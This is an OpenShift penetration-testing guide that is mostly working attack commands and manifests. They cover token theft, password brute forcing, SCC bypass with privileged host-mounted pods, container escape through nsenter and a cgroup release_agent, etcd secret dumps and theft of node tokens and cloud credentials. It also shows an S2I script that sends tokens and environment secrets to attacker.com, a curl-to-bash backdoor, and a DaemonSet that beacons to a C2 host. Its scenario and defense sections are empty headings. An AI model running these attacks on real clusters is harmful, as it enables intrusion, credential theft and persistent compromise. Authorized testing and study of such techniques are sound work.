Introduction to OpenShift Penetration Testing
OpenShift is Red Hat's enterprise Kubernetes platform with enhanced security controls. While it shares Kubernetes' core architecture, OpenShift introduces unique attack surfaces that penetration testers must understand.
| Feature | Kubernetes | OpenShift |
|---------|------------|-----------|
| Pod Security | Pod Security Policies/Standards | Security Context Constraints (SCCs) |
| Authentication | Various (OIDC, certificates) | Built-in OAuth Server |
| Web Console | Dashboard (optional) | Integrated Console with Routes |
| Registry | External registry | Integrated Image Registry |
| Builds | External CI/CD | Built-in BuildConfigs & S2I |
| Default Security | Permissive | Restrictive by default |
OpenShift Attack Surface Overview
OpenShift-Specific Components
# OpenShift-specific API groups
oc api-resources | grep openshift
# Key resources:
# routes.route.openshift.io
# builds.build.openshift.io
# buildconfigs.build.openshift.io
# deploymentconfigs.apps.openshift.io
# imagestreams.image.openshift.io
# securitycontextconstraints.security.openshift.ioOpenShift Console and API Routes
# Find the console route
oc get routes -n openshift-console
# Find the API route
oc get routes -n openshift-authentication
# Typical endpoints:
# console-openshift-console.apps.<cluster>.<domain>
# oauth-openshift.apps.<cluster>.<domain>OAuth Server Attack Surface
OpenShift's built-in OAuth server is a prime target:
# OAuth endpoints
https://<oauth_route>/oauth/authorize
https://<oauth_route>/oauth/token
https://<oauth_route>/oauth/token/request
# Built-in OAuth clients:
# - openshift-browser-client (interactive logins)
# - openshift-challenging-client (WWW-Authenticate challenges)Integrated Image Registry
# Find the internal registry
oc get routes -n openshift-image-registry
# Default internal registry endpoint
image-registry.openshift-image-registry.svc:5000
# List images in registry
oc get imagestreams --all-namespacesPhase 1: Reconnaissance
Identifying OpenShift Clusters
# OpenShift-specific headers
curl -I https://api.<cluster>.<domain>:6443
# Look for:
# X-Powered-By: OpenShift
# Server: openresty (OAuth proxy)
# Check for OpenShift routes
curl -I https://console-openshift-console.apps.<cluster>.<domain># OpenShift-specific API endpoints
/apis/route.openshift.io/v1
/apis/build.openshift.io/v1
/apis/image.openshift.io/v1
/apis/apps.openshift.io/v1
/apis/security.openshift.io/v1
# Test for OpenShift API presence
curl -k https://<api-server>:6443/apis/security.openshift.io/v1Version Enumeration
# Get cluster version
oc version
# API-based version detection
curl -k https://<api-server>:6443/version
# Detailed cluster version
oc get clusterversion
oc describe clusterversion version
# Check operator versions for vulnerability assessment
oc get clusteroperatorsRoute Discovery
# Enumerate all routes (exposed services)
oc get routes --all-namespaces
# Find interesting routes
oc get routes -A | grep -E "admin|api|git|jenkins|registry|console"
# Get route details
oc get routes -o yaml --all-namespaces | grep -E "host:|to:|path:"
# Check for insecure routes (no TLS)
oc get routes -A -o json | jq '.items[] | select(.spec.tls == null) | .metadata.name'OAuth Server Enumeration
# Find OAuth configuration
oc get oauth cluster -o yaml
# Enumerate identity providers
oc get oauth cluster -o jsonpath='{.spec.identityProviders[*].name}'
# Check OAuth token requests
oc get oauthaccesstokens
oc get oauthauthorizetokens
# OAuth metadata endpoint (public)
curl -k https://<oauth_route>/.well-known/oauth-authorization-serverRegistry Enumeration
# Check registry configuration
oc get configs.imageregistry.operator.openshift.io cluster -o yaml
# List all images
oc get images
# Enumerate image streams
oc get imagestreams --all-namespaces
# Check for public/insecure registry settings
oc get image.config.openshift.io cluster -o yamlPhase 2: Authentication Attacks
OAuth Token Theft
# Extract OAuth token from current session
oc whoami -t
# Token is stored in kubeconfig
cat ~/.kube/config | grep token
# Tokens in pod service accounts
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use stolen token
oc login --token=<stolen_token> --server=https://<api-server>:6443
# Or with curl
curl -k -H "Authorization: Bearer <token>" https://<api-server>:6443/api/v1/namespaces
# Check token permissions
oc auth can-i --list --token=<stolen_token>Service Account Token Abuse
# List service accounts
oc get serviceaccounts --all-namespaces
# Find privileged service accounts
oc get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name == "cluster-admin") | .subjects[]'
# Extract SA token (in pod)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# Use SA token
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secretsBrute Forcing HTPasswd
If OpenShift uses HTPasswd identity provider:
# Identify HTPasswd authentication
oc get oauth cluster -o yaml | grep htpasswd
# Brute force using oc login
for user in $(cat users.txt); do
for pass in $(cat passwords.txt); do
oc login -u "$user" -p "$pass" --server=https://<api-server>:6443 2>/dev/null && echo "Found: $user:$pass"
done
doneToken Impersonation
# Check if impersonation is allowed
oc auth can-i impersonate users
oc auth can-i impersonate groups
oc auth can-i impersonate serviceaccounts
# Impersonate a user
oc get pods --as=system:admin
oc get secrets --as=null --as-group=system:masters
# Impersonate via API
curl -k -H "Authorization: Bearer $TOKEN" -H "Impersonate-User: system:admin" https://<api-server>:6443/api/v1/secretsKubeconfig File Discovery
# Common locations
~/.kube/config
/root/.kube/config
/home/*/.kube/config
$KUBECONFIG
# Search for kubeconfig files
find / -name "config" -path "*/.kube/*" 2>/dev/null
find / -name "kubeconfig" 2>/dev/null
grep -r "client-certificate-data" /home 2>/dev/null
# Environment variables
env | grep -i kubePhase 3: SCC Bypass Techniques
Understanding SCCs
Security Context Constraints define what security settings pods can use:
# List all SCCs
oc get scc
# Describe SCC details
oc describe scc privileged
oc describe scc restricted
oc describe scc anyuid
# Check which SCC applies to a pod
oc get pod <pod-name> -o yaml | grep openshift.io/scc
# Check your SCC permissions
oc auth can-i use scc/privileged
oc auth can-i --list | grep securitycontextconstraintsDefault SCC Hierarchy
From least to most restrictive:
Finding Weak SCCs
# Check SCCs assigned to service accounts
for scc in $(oc get scc -o name); do
echo "=== $scc ==="
oc describe $scc | grep -A100 "Users:" | grep -B100 "Groups:"
done
# Find service accounts with privileged SCC
oc get scc privileged -o yaml | grep -A50 "users:"
# Check rolebindings for SCC access
oc get rolebindings,clusterrolebindings --all-namespaces -o json | jq '.items[] | select(.roleRef.name | contains("scc"))'Privileged Namespaces (SCC Bypass)
By default, SCC does NOT apply in these namespaces:
# Privileged namespaces
- default
- kube-system
- kube-public
- openshift-node
- openshift-infra
- openshift
# If you can deploy to these namespaces, SCCs are not enforced!
oc apply -f malicious-pod.yaml -n kube-systemNamespace Label Bypass
The `openshift.io/run-level` label disables SCC enforcement:
# Check if you can create/modify namespaces
oc auth can-i create namespaces
oc auth can-i patch namespaces
# Create namespace with run-level label
cat <<EOF | oc apply -f -
apiVersion: v1
kind: Namespace
metadata:
name: evil-namespace
labels:
openshift.io/run-level: "0"
EOF
# Or add label to existing namespace
oc label namespace <target-ns> openshift.io/run-level=0Exploiting anyuid SCC
# If anyuid SCC is available
apiVersion: v1
kind: Pod
metadata:
name: anyuid-pod
spec:
containers:
- name: shell
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
securityContext:
runAsUser: 0Complete SCC Bypass Pod
apiVersion: v1
kind: Pod
metadata:
name: pwned-pod
namespace: evil-namespace
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: pwned
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
securityContext:
privileged: true
allowPrivilegeEscalation: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /Phase 4: Container Escape
/proc/1/root Access with hostPID
# If hostPID is enabled, access host's init process namespace
# Inside the pod with hostPID=true
ls /proc/1/root
# Read sensitive host files
cat /proc/1/root/etc/shadow
cat /proc/1/root/etc/kubernetes/admin.conf
# Escape to host using nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bashCRI-O Socket Mounting
OpenShift uses CRI-O instead of Docker:
# CRI-O socket location
/var/run/crio/crio.sock
/run/crio/crio.sock
# If mounted, use crictl to manage containers
export CONTAINER_RUNTIME_ENDPOINT=unix:///var/run/crio/crio.sock
# List all containers on the node
crictl ps -a
# Execute commands in other containers
crictl exec -it <container-id> /bin/shhostNetwork Abuse
# With hostNetwork=true, you're on the host's network
ip addr
# Access kubelet
curl -k https://localhost:10250/pods
# Access etcd (if on control plane)
curl --cacert /etc/kubernetes/pki/etcd/ca.crt --cert /etc/kubernetes/pki/etcd/server.crt --key /etc/kubernetes/pki/etcd/server.key https://localhost:2379/v3/kv/range -X POST -d '{"key": "L3JlZ2lzdHJ5"}'
# Sniff network traffic
tcpdump -i any -w capture.pcapCapabilities Exploitation
# Check current capabilities
cat /proc/self/status | grep Cap
capsh --decode=<cap_value>
# Dangerous capabilities:
# CAP_SYS_ADMIN - Mount filesystems, load kernel modules
# CAP_NET_ADMIN - Network config
# CAP_SYS_PTRACE - Debug other processes
# CAP_DAC_OVERRIDE - Bypass file permissions
# Escape with CAP_SYS_ADMIN (cgroup release_agent)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /outputPhase 5: Build System Attacks
BuildConfig Manipulation
# List BuildConfigs
oc get buildconfigs --all-namespaces
# Check permissions
oc auth can-i create buildconfigs
oc auth can-i update buildconfigs# Create malicious BuildConfig
apiVersion: build.openshift.io/v1
kind: BuildConfig
metadata:
name: malicious-build
spec:
source:
type: Git
git:
uri: "https://github.com/attacker/malicious-code"
strategy:
type: Source
sourceStrategy:
from:
kind: ImageStreamTag
name: python:3.9
namespace: openshift
scripts: "https://attacker.com/evil-s2i-scripts"
output:
to:
kind: ImageStreamTag
name: backdoored-app:latest# Trigger build
oc start-build malicious-buildMalicious Base Images
# Create malicious image stream
apiVersion: image.openshift.io/v1
kind: ImageStream
metadata:
name: trojan-builder
spec:
tags:
- name: latest
from:
kind: DockerImage
name: attacker.registry.com/backdoored-python:3.9# Modify existing BuildConfig to use malicious base
oc patch buildconfig/target-app -p 'spec:
strategy:
sourceStrategy:
from:
kind: ImageStreamTag
name: trojan-builder:latest'Build Secret Extraction
# List build secrets
oc get secrets | grep -E "build|source|git|docker"
# Check secrets mounted in builds
oc get buildconfig <name> -o yaml | grep -A10 "secrets:"
# Secrets in running builds
oc get builds
oc logs build/<build-name> | grep -i secret
# Source secrets (Git credentials)
oc get secret <source-secret> -o yaml
# Registry secrets
oc get secret <pull-secret> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -dS2I Script Injection
# Malicious assemble script (placed in .s2i/bin/assemble)
#!/bin/bash
# Normal build
/usr/libexec/s2i/assemble
# Exfiltrate build secrets
curl -X POST https://attacker.com/exfil -d "token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" -d "secrets=$(env | base64)"
# Inject backdoor into application
echo 'import os; os.system("curl https://c2.attacker.com/shell|bash")' >> app.pyPhase 6: Post-Exploitation
Cluster Role Escalation
# Check cluster-admin bindings
oc get clusterrolebindings | grep cluster-admin
# Find overprivileged service accounts
for ns in $(oc get ns -o name | cut -d/ -f2); do
for sa in $(oc get sa -n $ns -o name | cut -d/ -f2); do
perms=$(oc auth can-i --list --as=system:serviceaccount:$ns:$sa 2>/dev/null | grep -c "\*")
if [ "$perms" -gt "5" ]; then
echo "Privileged SA: $ns/$sa"
fi
done
done
# Create cluster-admin binding (if permitted)
oc create clusterrolebinding pwned-admin --clusterrole=cluster-admin --serviceaccount=<namespace>:<sa-name>Cross-Namespace Attacks
# Check cross-namespace permissions
oc auth can-i get secrets --all-namespaces
oc auth can-i create pods --all-namespaces
# List secrets across namespaces
for ns in $(oc get namespaces -o name | cut -d/ -f2); do
echo "=== $ns ==="
oc get secrets -n $ns 2>/dev/null
done
# Access service account tokens from other namespaces
oc get secrets -n kube-system -o json | jq '.items[] | select(.type == "kubernetes.io/service-account-token") | .metadata.name'etcd Access
# On control plane node (after escape)
ETCDCTL_API=3 etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key get /registry/secrets --prefix --keys-only
# Dump specific secret
ETCDCTL_API=3 etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key get /registry/secrets/kube-system/bootstrap-tokenNode Compromise from Pod
# After escaping to node
# Steal all SA tokens from pods on this node
for dir in /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/*/; do
if [ -f "$dir/token" ]; then
echo "=== $dir ==="
cat "$dir/token"
echo
fi
done
# Access kubelet credentials
cat /etc/kubernetes/kubelet.conf
# Access cloud provider credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Persistence via Operators
# Create backdoor DaemonSet for persistence
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-monitor
namespace: kube-system
spec:
selector:
matchLabels:
name: node-monitor
template:
metadata:
labels:
name: node-monitor
spec:
hostNetwork: true
hostPID: true
containers:
- name: monitor
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
while true; do
curl https://c2.attacker.com/beacon?node=$(hostname)
sleep 3600
done
securityContext:
privileged: true
tolerations:
- operator: ExistsRegistry Poisoning
# Push backdoored image to internal registry
podman login -u $(oc whoami) -p $(oc whoami -t) image-registry.openshift-image-registry.svc:5000
podman tag malicious-image:latest image-registry.openshift-image-registry.svc:5000/production/app:v2.0.1
podman push image-registry.openshift-image-registry.svc:5000/production/app:v2.0.1
# Trigger rollout
oc rollout restart deployment/production-appPenetration Testing Tools
oc CLI for Enumeration
# Authentication
oc login --token=<token> --server=https://<api-server>:6443
oc whoami
oc whoami --show-context
oc whoami -t
# Comprehensive enumeration
oc get all --all-namespaces
oc auth can-i --list
oc api-resources --namespaced=true
oc api-resources --namespaced=false
# Security-focused commands
oc get scc
oc adm policy who-can use scc/privileged
oc get clusterrolebindings -o wide
oc describe clusterrole cluster-adminkubeaudit
# Install
go install github.com/Shopify/kubeaudit@latest
# Audit OpenShift cluster
kubeaudit all -c <kubeconfig>
# Specific checks
kubeaudit privileged
kubeaudit rootfs
kubeaudit hostns
kubeaudit seccompkube-score
# Score all resources
kube-score score *.yaml
# Score from cluster
oc get all -o yaml | kube-score score -
# Check specific namespace
oc get all -n <namespace> -o yaml | kube-score score -Real-World Attack Scenarios
Scenario 1: Developer Credential Compromise
Scenario 2: Build Pipeline Compromise
Scenario 3: Registry Poisoning
Scenario 4: OAuth Token Hijacking
Defensive Recommendations
Conclusion
OpenShift penetration testing requires understanding both Kubernetes fundamentals and OpenShift-specific security controls. The key differentiators are SCCs, the OAuth system, and integrated build/registry components.
Disclaimer: This guide is for authorized security testing only. Always obtain proper authorization before testing OpenShift clusters.